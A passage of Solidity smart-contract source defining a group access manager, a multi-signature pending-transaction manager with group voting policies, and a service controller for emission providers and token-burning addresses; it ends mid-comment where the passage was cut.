contract GroupsAccessManagerEmitter {
event UserCreated(address user);
event UserDeleted(address user);
event GroupCreated(bytes32 groupName);
event GroupActivated(bytes32 groupName);
event GroupDeactivated(bytes32 groupName);
event UserToGroupAdded(address user, bytes32 groupName);
event UserFromGroupRemoved(address user, bytes32 groupName);
}
/// @title Group Access Manager
///
/// Base implementation
/// This contract serves as group manager
contract GroupsAccessManager is Object, GroupsAccessManagerEmitter {
uint constant USER_MANAGER_SCOPE = 111000;
uint constant USER_MANAGER_MEMBER_ALREADY_EXIST = USER_MANAGER_SCOPE + 1;
uint constant USER_MANAGER_GROUP_ALREADY_EXIST = USER_MANAGER_SCOPE + 2;
uint constant USER_MANAGER_OBJECT_ALREADY_SECURED = USER_MANAGER_SCOPE + 3;
uint constant USER_MANAGER_CONFIRMATION_HAS_COMPLETED = USER_MANAGER_SCOPE + 4;
uint constant USER_MANAGER_USER_HAS_CONFIRMED = USER_MANAGER_SCOPE + 5;
uint constant USER_MANAGER_NOT_ENOUGH_GAS = USER_MANAGER_SCOPE + 6;
uint constant USER_MANAGER_INVALID_INVOCATION = USER_MANAGER_SCOPE + 7;
uint constant USER_MANAGER_DONE = USER_MANAGER_SCOPE + 11;
uint constant USER_MANAGER_CANCELLED = USER_MANAGER_SCOPE + 12;
using SafeMath for uint;
struct Member {
address addr;
uint groupsCount;
mapping(bytes32 => uint) groupName2index;
mapping(uint => uint) index2globalIndex;
}
struct Group {
bytes32 name;
uint priority;
uint membersCount;
mapping(address => uint) memberAddress2index;
mapping(uint => uint) index2globalIndex;
}
uint public membersCount;
mapping(uint => address) index2memberAddress;
mapping(address => uint) memberAddress2index;
mapping(address => Member) address2member;
uint public groupsCount;
mapping(uint => bytes32) index2groupName;
mapping(bytes32 => uint) groupName2index;
mapping(bytes32 => Group) groupName2group;
mapping(bytes32 => bool) public groupsBlocked; // if groupName => true, then couldn't be used for confirmation
function() payable public {
revert();
}
/// @notice Register user
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function registerUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
if (isRegisteredUser(_user)) {
return USER_MANAGER_MEMBER_ALREADY_EXIST;
}
uint _membersCount = membersCount.add(1);
membersCount = _membersCount;
memberAddress2index[_user] = _membersCount;
index2memberAddress[_membersCount] = _user;
address2member[_user] = Member(_user, 0);
UserCreated(_user);
return OK;
}
/// @notice Discard user registration
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function unregisterUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
uint _memberIndex = memberAddress2index[_user];
if (_memberIndex == 0 || address2member[_user].groupsCount != 0) {
return USER_MANAGER_INVALID_INVOCATION;
}
uint _membersCount = membersCount;
delete memberAddress2index[_user];
if (_memberIndex != _membersCount) {
address _lastUser = index2memberAddress[_membersCount];
index2memberAddress[_memberIndex] = _lastUser;
memberAddress2index[_lastUser] = _memberIndex;
}
delete address2member[_user];
delete index2memberAddress[_membersCount];
delete memberAddress2index[_user];
membersCount = _membersCount.sub(1);
UserDeleted(_user);
return OK;
}
/// @notice Create group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _priority group priority
///
/// @return code
function createGroup(bytes32 _groupName, uint _priority) external onlyContractOwner returns (uint) {
require(_groupName != bytes32(0));
if (isGroupExists(_groupName)) {
return USER_MANAGER_GROUP_ALREADY_EXIST;
}
uint _groupsCount = groupsCount.add(1);
groupName2index[_groupName] = _groupsCount;
index2groupName[_groupsCount] = _groupName;
groupName2group[_groupName] = Group(_groupName, _priority, 0);
groupsCount = _groupsCount;
GroupCreated(_groupName);
return OK;
}
/// @notice Change group status
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _blocked block status
///
/// @return code
function changeGroupActiveStatus(bytes32 _groupName, bool _blocked) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
groupsBlocked[_groupName] = _blocked;
return OK;
}
/// @notice Add users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function addUsersToGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
require(_memberIndex != 0);
if (_group.memberAddress2index[_user] != 0) {
continue;
}
_groupMembersCount = _groupMembersCount.add(1);
_group.memberAddress2index[_user] = _groupMembersCount;
_group.index2globalIndex[_groupMembersCount] = _memberIndex;
_addGroupToMember(_user, _groupName);
UserToGroupAdded(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Remove users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function removeUsersFromGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
uint _groupMemberIndex = _group.memberAddress2index[_user];
if (_memberIndex == 0 || _groupMemberIndex == 0) {
continue;
}
if (_groupMemberIndex != _groupMembersCount) {
uint _lastUserGlobalIndex = _group.index2globalIndex[_groupMembersCount];
address _lastUser = index2memberAddress[_lastUserGlobalIndex];
_group.index2globalIndex[_groupMemberIndex] = _lastUserGlobalIndex;
_group.memberAddress2index[_lastUser] = _groupMemberIndex;
}
delete _group.memberAddress2index[_user];
delete _group.index2globalIndex[_groupMembersCount];
_groupMembersCount = _groupMembersCount.sub(1);
_removeGroupFromMember(_user, _groupName);
UserFromGroupRemoved(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Check is user registered
///
/// @param _user user address
///
/// @return status
function isRegisteredUser(address _user) public view returns (bool) {
return memberAddress2index[_user] != 0;
}
/// @notice Check is user in group
///
/// @param _groupName user array
/// @param _user user array
///
/// @return status
function isUserInGroup(bytes32 _groupName, address _user) public view returns (bool) {
return isRegisteredUser(_user) && address2member[_user].groupName2index[_groupName] != 0;
}
/// @notice Check is group exist
///
/// @param _groupName group name
///
/// @return status
function isGroupExists(bytes32 _groupName) public view returns (bool) {
return groupName2index[_groupName] != 0;
}
/// @notice Get current group names
///
/// @return group names
function getGroups() public view returns (bytes32[] _groups) {
uint _groupsCount = groupsCount;
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
_groups[_groupIdx] = index2groupName[_groupIdx + 1];
}
}
// PRIVATE
function _removeGroupFromMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount;
uint _memberGroupIndex = _member.groupName2index[_groupName];
if (_memberGroupIndex != _memberGroupsCount) {
uint _lastGroupGlobalIndex = _member.index2globalIndex[_memberGroupsCount];
bytes32 _lastGroupName = index2groupName[_lastGroupGlobalIndex];
_member.index2globalIndex[_memberGroupIndex] = _lastGroupGlobalIndex;
_member.groupName2index[_lastGroupName] = _memberGroupIndex;
}
delete _member.groupName2index[_groupName];
delete _member.index2globalIndex[_memberGroupsCount];
_member.groupsCount = _memberGroupsCount.sub(1);
}
function _addGroupToMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount.add(1);
_member.groupName2index[_groupName] = _memberGroupsCount;
_member.index2globalIndex[_memberGroupsCount] = groupName2index[_groupName];
_member.groupsCount = _memberGroupsCount;
}
}
contract PendingManagerEmitter {
event PolicyRuleAdded(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName, uint acceptLimit, uint declinesLimit);
event PolicyRuleRemoved(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName);
event ProtectionTxAdded(bytes32 key, bytes32 sig, uint blockNumber);
event ProtectionTxAccepted(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxDone(bytes32 key);
event ProtectionTxDeclined(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxCancelled(bytes32 key);
event ProtectionTxVoteRevoked(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event TxDeleted(bytes32 key);
event Error(uint errorCode);
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract PendingManagerInterface {
function signIn(address _contract) external returns (uint);
function signOut(address _contract) external returns (uint);
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
external returns (uint);
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
external returns (uint);
function addTx(bytes32 _key, bytes4 _sig, address _contract) external returns (uint);
function deleteTx(bytes32 _key) external returns (uint);
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function revoke(bytes32 _key) external returns (uint);
function hasConfirmedRecord(bytes32 _key) public view returns (uint);
function getPolicyDetails(bytes4 _sig, address _contract) public view returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
);
}
/// @title PendingManager
///
/// Base implementation
/// This contract serves as pending manager for transaction status
contract PendingManager is Object, PendingManagerEmitter, PendingManagerInterface {
uint constant NO_RECORDS_WERE_FOUND = 4;
uint constant PENDING_MANAGER_SCOPE = 4000;
uint constant PENDING_MANAGER_INVALID_INVOCATION = PENDING_MANAGER_SCOPE + 1;
uint constant PENDING_MANAGER_HASNT_VOTED = PENDING_MANAGER_SCOPE + 2;
uint constant PENDING_DUPLICATE_TX = PENDING_MANAGER_SCOPE + 3;
uint constant PENDING_MANAGER_CONFIRMED = PENDING_MANAGER_SCOPE + 4;
uint constant PENDING_MANAGER_REJECTED = PENDING_MANAGER_SCOPE + 5;
uint constant PENDING_MANAGER_IN_PROCESS = PENDING_MANAGER_SCOPE + 6;
uint constant PENDING_MANAGER_TX_DOESNT_EXIST = PENDING_MANAGER_SCOPE + 7;
uint constant PENDING_MANAGER_TX_WAS_DECLINED = PENDING_MANAGER_SCOPE + 8;
uint constant PENDING_MANAGER_TX_WAS_NOT_CONFIRMED = PENDING_MANAGER_SCOPE + 9;
uint constant PENDING_MANAGER_INSUFFICIENT_GAS = PENDING_MANAGER_SCOPE + 10;
uint constant PENDING_MANAGER_POLICY_NOT_FOUND = PENDING_MANAGER_SCOPE + 11;
using SafeMath for uint;
enum GuardState {
Decline, Confirmed, InProcess
}
struct Requirements {
bytes32 groupName;
uint acceptLimit;
uint declineLimit;
}
struct Policy {
uint groupsCount;
mapping(uint => Requirements) participatedGroups; // index => globalGroupIndex
mapping(bytes32 => uint) groupName2index; // groupName => localIndex
uint totalAcceptedLimit;
uint totalDeclinedLimit;
uint securesCount;
mapping(uint => uint) index2txIndex;
mapping(uint => uint) txIndex2index;
}
struct Vote {
bytes32 groupName;
bool accepted;
}
struct Guard {
GuardState state;
uint basePolicyIndex;
uint alreadyAccepted;
uint alreadyDeclined;
mapping(address => Vote) votes; // member address => vote
mapping(bytes32 => uint) acceptedCount; // groupName => how many from group has already accepted
mapping(bytes32 => uint) declinedCount; // groupName => how many from group has already declined
}
address public accessManager;
mapping(address => bool) public authorized;
uint public policiesCount;
mapping(uint => bytes32) index2PolicyId; // index => policy hash
mapping(bytes32 => uint) policyId2Index; // policy hash => index
mapping(bytes32 => Policy) policyId2policy; // policy hash => policy struct
uint public txCount;
mapping(uint => bytes32) index2txKey;
mapping(bytes32 => uint) txKey2index; // tx key => index
mapping(bytes32 => Guard) txKey2guard;
/// @dev Execution is allowed only by authorized contract
modifier onlyAuthorized {
if (authorized[msg.sender] || address(this) == msg.sender) {
_;
}
}
/// @dev Pending Manager's constructor
///
/// @param _accessManager access manager's address
function PendingManager(address _accessManager) public {
require(_accessManager != 0x0);
accessManager = _accessManager;
}
function() payable public {
revert();
}
/// @notice Update access manager address
///
/// @param _accessManager access manager's address
function setAccessManager(address _accessManager) external onlyContractOwner returns (uint) {
require(_accessManager != 0x0);
accessManager = _accessManager;
return OK;
}
/// @notice Sign in contract
///
/// @param _contract contract's address
function signIn(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
authorized[_contract] = true;
return OK;
}
/// @notice Sign out contract
///
/// @param _contract contract's address
function signOut(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
delete authorized[_contract];
return OK;
}
/// @notice Register new policy rule
/// Can be called only by contract owner
///
/// @param _sig target method signature
/// @param _contract target contract address
/// @param _groupName group's name
/// @param _acceptLimit accepted vote limit
/// @param _declineLimit decline vote limit
///
/// @return code
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
onlyContractOwner
external
returns (uint)
{
require(_sig != 0x0);
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
require(_acceptLimit != 0);
require(_declineLimit != 0);
bytes32 _policyHash = keccak256(_sig, _contract);
if (policyId2Index[_policyHash] == 0) {
uint _policiesCount = policiesCount.add(1);
index2PolicyId[_policiesCount] = _policyHash;
policyId2Index[_policyHash] = _policiesCount;
policiesCount = _policiesCount;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
if (_policy.groupName2index[_groupName] == 0) {
_policyGroupsCount += 1;
_policy.groupName2index[_groupName] = _policyGroupsCount;
_policy.participatedGroups[_policyGroupsCount].groupName = _groupName;
_policy.groupsCount = _policyGroupsCount;
}
uint _previousAcceptLimit = _policy.participatedGroups[_policyGroupsCount].acceptLimit;
uint _previousDeclineLimit = _policy.participatedGroups[_policyGroupsCount].declineLimit;
_policy.participatedGroups[_policyGroupsCount].acceptLimit = _acceptLimit;
_policy.participatedGroups[_policyGroupsCount].declineLimit = _declineLimit;
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_previousAcceptLimit).add(_acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_previousDeclineLimit).add(_declineLimit);
PolicyRuleAdded(_sig, _contract, _policyHash, _groupName, _acceptLimit, _declineLimit);
return OK;
}
/// @notice Remove policy rule
/// Can be called only by contract owner
///
/// @param _groupName group's name
///
/// @return code
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
onlyContractOwner
external
returns (uint)
{
require(_sig != bytes4(0));
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
bytes32 _policyHash = keccak256(_sig, _contract);
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupNameIndex = _policy.groupName2index[_groupName];
if (_policyGroupNameIndex == 0) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
uint _policyGroupsCount = _policy.groupsCount;
if (_policyGroupNameIndex != _policyGroupsCount) {
Requirements storage _requirements = _policy.participatedGroups[_policyGroupsCount];
_policy.participatedGroups[_policyGroupNameIndex] = _requirements;
_policy.groupName2index[_requirements.groupName] = _policyGroupNameIndex;
}
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_policy.participatedGroups[_policyGroupsCount].acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_policy.participatedGroups[_policyGroupsCount].declineLimit);
delete _policy.groupName2index[_groupName];
delete _policy.participatedGroups[_policyGroupsCount];
_policy.groupsCount = _policyGroupsCount.sub(1);
PolicyRuleRemoved(_sig, _contract, _policyHash, _groupName);
return OK;
}
/// @notice Add transaction
///
/// @param _key transaction id
///
/// @return code
function addTx(bytes32 _key, bytes4 _sig, address _contract) external onlyAuthorized returns (uint) {
require(_key != bytes32(0));
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
require(isPolicyExist(_policyHash));
if (isTxExist(_key)) {
return _emitError(PENDING_DUPLICATE_TX);
}
if (_policyHash == bytes32(0)) {
return _emitError(PENDING_MANAGER_POLICY_NOT_FOUND);
}
uint _index = txCount.add(1);
txCount = _index;
index2txKey[_index] = _key;
txKey2index[_key] = _index;
Guard storage _guard = txKey2guard[_key];
_guard.basePolicyIndex = policyId2Index[_policyHash];
_guard.state = GuardState.InProcess;
Policy storage _policy = policyId2policy[_policyHash];
uint _counter = _policy.securesCount.add(1);
_policy.securesCount = _counter;
_policy.index2txIndex[_counter] = _index;
_policy.txIndex2index[_index] = _counter;
ProtectionTxAdded(_key, _policyHash, block.number);
return OK;
}
/// @notice Delete transaction
/// @param _key transaction id
/// @return code
function deleteTx(bytes32 _key) external onlyContractOwner returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
uint _txsCount = txCount;
uint _txIndex = txKey2index[_key];
if (_txIndex != _txsCount) {
bytes32 _last = index2txKey[txCount];
index2txKey[_txIndex] = _last;
txKey2index[_last] = _txIndex;
}
delete txKey2index[_key];
delete index2txKey[_txsCount];
txCount = _txsCount.sub(1);
uint _basePolicyIndex = txKey2guard[_key].basePolicyIndex;
Policy storage _policy = policyId2policy[index2PolicyId[_basePolicyIndex]];
uint _counter = _policy.securesCount;
uint _policyTxIndex = _policy.txIndex2index[_txIndex];
if (_policyTxIndex != _counter) {
uint _movedTxIndex = _policy.index2txIndex[_counter];
_policy.index2txIndex[_policyTxIndex] = _movedTxIndex;
_policy.txIndex2index[_movedTxIndex] = _policyTxIndex;
}
delete _policy.index2txIndex[_counter];
delete _policy.txIndex2index[_txIndex];
_policy.securesCount = _counter.sub(1);
TxDeleted(_key);
return OK;
}
/// @notice Accept transaction
/// Can be called only by registered user in GroupsAccessManager
///
/// @param _key transaction id
///
/// @return code
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && _guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupAcceptedVotesCount = _guard.acceptedCount[_votingGroupName];
if (_groupAcceptedVotesCount == _policy.participatedGroups[_policyGroupIndex].acceptLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, true);
_guard.acceptedCount[_votingGroupName] = _groupAcceptedVotesCount + 1;
uint _alreadyAcceptedCount = _guard.alreadyAccepted + 1;
_guard.alreadyAccepted = _alreadyAcceptedCount;
ProtectionTxAccepted(_key, msg.sender, _votingGroupName);
if (_alreadyAcceptedCount == _policy.totalAcceptedLimit) {
_guard.state = GuardState.Confirmed;
ProtectionTxDone(_key);
}
return OK;
}
/// @notice Decline transaction
/// Can be called only by registered user in GroupsAccessManager
///
/// @param _key transaction id
///
/// @return code
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && !_guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupDeclinedVotesCount = _guard.declinedCount[_votingGroupName];
if (_groupDeclinedVotesCount == _policy.participatedGroups[_policyGroupIndex].declineLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, false);
_guard.declinedCount[_votingGroupName] = _groupDeclinedVotesCount + 1;
uint _alreadyDeclinedCount = _guard.alreadyDeclined + 1;
_guard.alreadyDeclined = _alreadyDeclinedCount;
ProtectionTxDeclined(_key, msg.sender, _votingGroupName);
if (_alreadyDeclinedCount == _policy.totalDeclinedLimit) {
_guard.state = GuardState.Decline;
ProtectionTxCancelled(_key);
}
return OK;
}
/// @notice Revoke user votes for transaction
/// Can be called only by contract owner
///
/// @param _key transaction id
/// @param _user target user address
///
/// @return code
function forceRejectVotes(bytes32 _key, address _user) external onlyContractOwner returns (uint) {
return _revoke(_key, _user);
}
/// @notice Revoke vote for transaction
/// Can be called only by authorized user
/// @param _key transaction id
/// @return code
function revoke(bytes32 _key) external returns (uint) {
return _revoke(_key, msg.sender);
}
/// @notice Check transaction status
/// @param _key transaction id
/// @return code
function hasConfirmedRecord(bytes32 _key) public view returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return NO_RECORDS_WERE_FOUND;
}
Guard storage _guard = txKey2guard[_key];
return _guard.state == GuardState.InProcess
? PENDING_MANAGER_IN_PROCESS
: _guard.state == GuardState.Confirmed
? OK
: PENDING_MANAGER_REJECTED;
}
/// @notice Check policy details
///
/// @return _groupNames group names included in policies
/// @return _acceptLimits accept limit for group
/// @return _declineLimits decline limit for group
function getPolicyDetails(bytes4 _sig, address _contract)
public
view
returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
) {
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
uint _policyIdx = policyId2Index[_policyHash];
if (_policyIdx == 0) {
return;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
_groupNames = new bytes32[](_policyGroupsCount);
_acceptLimits = new uint[](_policyGroupsCount);
_declineLimits = new uint[](_policyGroupsCount);
for (uint _idx = 0; _idx < _policyGroupsCount; ++_idx) {
Requirements storage _requirements = _policy.participatedGroups[_idx + 1];
_groupNames[_idx] = _requirements.groupName;
_acceptLimits[_idx] = _requirements.acceptLimit;
_declineLimits[_idx] = _requirements.declineLimit;
}
(_totalAcceptedLimit, _totalDeclinedLimit) = (_policy.totalAcceptedLimit, _policy.totalDeclinedLimit);
}
/// @notice Check policy include target group
/// @param _policyHash policy hash (sig, contract address)
/// @param _groupName group id
/// @return bool
function isGroupInPolicy(bytes32 _policyHash, bytes32 _groupName) public view returns (bool) {
Policy storage _policy = policyId2policy[_policyHash];
return _policy.groupName2index[_groupName] != 0;
}
/// @notice Check is policy exist
/// @param _policyHash policy hash (sig, contract address)
/// @return bool
function isPolicyExist(bytes32 _policyHash) public view returns (bool) {
return policyId2Index[_policyHash] != 0;
}
/// @notice Check is transaction exist
/// @param _key transaction id
/// @return bool
function isTxExist(bytes32 _key) public view returns (bool){
return txKey2index[_key] != 0;
}
function _updateTxState(Policy storage _policy, Guard storage _guard, uint confirmedAmount, uint declineAmount) private {
if (declineAmount != 0 && _guard.state != GuardState.Decline) {
_guard.state = GuardState.Decline;
} else if (confirmedAmount >= _policy.groupsCount && _guard.state != GuardState.Confirmed) {
_guard.state = GuardState.Confirmed;
} else if (_guard.state != GuardState.InProcess) {
_guard.state = GuardState.InProcess;
}
}
function _revoke(bytes32 _key, address _user) private returns (uint) {
require(_key != bytes32(0));
require(_user != 0x0);
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
bytes32 _votedGroupName = _guard.votes[_user].groupName;
if (_votedGroupName == bytes32(0)) {
return _emitError(PENDING_MANAGER_HASNT_VOTED);
}
bool isAcceptedVote = _guard.votes[_user].accepted;
if (isAcceptedVote) {
_guard.acceptedCount[_votedGroupName] = _guard.acceptedCount[_votedGroupName].sub(1);
_guard.alreadyAccepted = _guard.alreadyAccepted.sub(1);
} else {
_guard.declinedCount[_votedGroupName] = _guard.declinedCount[_votedGroupName].sub(1);
_guard.alreadyDeclined = _guard.alreadyDeclined.sub(1);
}
delete _guard.votes[_user];
ProtectionTxVoteRevoked(_key, _user, _votedGroupName);
return OK;
}
}
/// @title MultiSigAdapter
///
/// Abstract implementation
/// This contract serves as transaction signer
contract MultiSigAdapter is Object {
uint constant MULTISIG_ADDED = 3;
uint constant NO_RECORDS_WERE_FOUND = 4;
modifier isAuthorized {
if (msg.sender == contractOwner || msg.sender == getPendingManager()) {
_;
}
}
/// @notice Get pending address
/// @dev abstract. Needs child implementation
///
/// @return pending address
function getPendingManager() public view returns (address);
/// @notice Sign current transaction and add it to transaction pending queue
///
/// @return code
function _multisig(bytes32 _args, uint _block) internal returns (uint _code) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
_code = PendingManager(_manager).hasConfirmedRecord(_txHash);
if (_code != NO_RECORDS_WERE_FOUND) {
return _code;
}
if (OK != PendingManager(_manager).addTx(_txHash, msg.sig, address(this))) {
revert();
}
return MULTISIG_ADDED;
}
function _isTxExistWithArgs(bytes32 _args, uint _block) internal view returns (bool) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
return PendingManager(_manager).isTxExist(_txHash);
}
function _getKey(bytes32 _args, uint _block) private view returns (bytes32 _txHash) {
_block = _block != 0 ? _block : block.number;
_txHash = keccak256(msg.sig, _args, _block);
}
}
/// @title ServiceController
///
/// Base implementation
/// Serves for managing service instances
contract ServiceController is MultiSigAdapter {
event Error(uint _errorCode);
uint constant SERVICE_CONTROLLER = 350000;
uint constant SERVICE_CONTROLLER_EMISSION_EXIST = SERVICE_CONTROLLER + 1;
uint constant SERVICE_CONTROLLER_BURNING_MAN_EXIST = SERVICE_CONTROLLER + 2;
uint constant SERVICE_CONTROLLER_ALREADY_INITIALIZED = SERVICE_CONTROLLER + 3;
uint constant SERVICE_CONTROLLER_SERVICE_EXIST = SERVICE_CONTROLLER + 4;
address public profiterole;
address public treasury;
address public pendingManager;
address public proxy;
uint public sideServicesCount;
mapping(uint => address) public index2sideService;
mapping(address => uint) public sideService2index;
mapping(address => bool) public sideServices;
uint public emissionProvidersCount;
mapping(uint => address) public index2emissionProvider;
mapping(address => uint) public emissionProvider2index;
mapping(address => bool) public emissionProviders;
uint public burningMansCount;
mapping(uint => address) public index2burningMan;
mapping(address => uint) public burningMan2index;
mapping(address => bool) public burningMans;
/// @notice Default ServiceController's constructor
///
/// @param _pendingManager pending manager address
/// @param _proxy ERC20 proxy address
/// @param _profiterole profiterole address
/// @param _treasury treasury address
function ServiceController(address _pendingManager, address _proxy, address _profiterole, address _treasury) public {
require(_pendingManager != 0x0);
require(_proxy != 0x0);
require(_profiterole != 0x0);
require(_treasury != 0x0);
pendingManager = _pendingManager;
proxy = _proxy;
profiterole = _profiterole;
treasury = _treasury;
}
/// @notice Return pending manager address
///
/// @return code
function getPendingManager() public view returns (address) {
return pendingManager;
}
/// @notice Add emission provider
///
/// @param _provider emission provider address
///
/// @return code
function addEmissionProvider(address _provider, uint _block) public returns (uint _code) {
if (emissionProviders[_provider]) {
return _emitError(SERVICE_CONTROLLER_EMISSION_EXIST);
}
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
emissionProviders[_provider] = true;
uint _count = emissionProvidersCount + 1;
index2emissionProvider[_count] = _provider;
emissionProvider2index[_provider] = _count;
emissionProvidersCount = _count;
return OK;
}
/// @notice Remove emission provider
///
/// @param _provider emission provider address
///
/// @return code
function removeEmissionProvider(address _provider, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
uint _idx = emissionProvider2index[_provider];
uint _lastIdx = emissionProvidersCount;
if (_idx != 0) {
if (_idx != _lastIdx) {
address _lastEmissionProvider = index2emissionProvider[_lastIdx];
index2emissionProvider[_idx] = _lastEmissionProvider;
emissionProvider2index[_lastEmissionProvider] = _idx;
}
delete emissionProvider2index[_provider];
delete index2emissionProvider[_lastIdx];
delete emissionProviders[_provider];
emissionProvidersCount = _lastIdx - 1;
}
return OK;
}
/// @notice Add burning man
///
/// @param _burningMan burning man address
///
/// @return code
function addBurningMan(address _burningMan, uint _block) public returns (uint _code) {
if (burningMans[_burningMan]) {
return _emitError(SERVICE_CONTROLLER_BURNING_MAN_EXIST);
}
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
burningMans[_burningMan] = true;
uint _count = burningMansCount + 1;
index2burningMan[_count] = _burningMan;
burningMan2index[_burningMan] = _count;
burningMansCount = _count;
return OK;
}
/// @notice Remove burning man
///
/// @param _burningMan burning man address
///
/// @return code
function removeBurningMan(address _burningMan, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
uint _idx = burningMan2index[_burningMan];
uint _lastIdx = burningMansCount;
if (_idx != 0) {
if (_idx != _lastIdx) {
address _lastBurningMan = index2burningMan[_lastIdx];
index2burningMan[_idx] = _lastBurningMan;
burningMan2index[_lastBurningMan] = _idx;
}
delete burningMan2index[_burningMan];
delete index2burningMan[_lastIdx];
delete burningMans[_burningMan];
burningMansCount = _lastIdx - 1;
}
return OK;
}
/// @notice Update a profiterole address
///
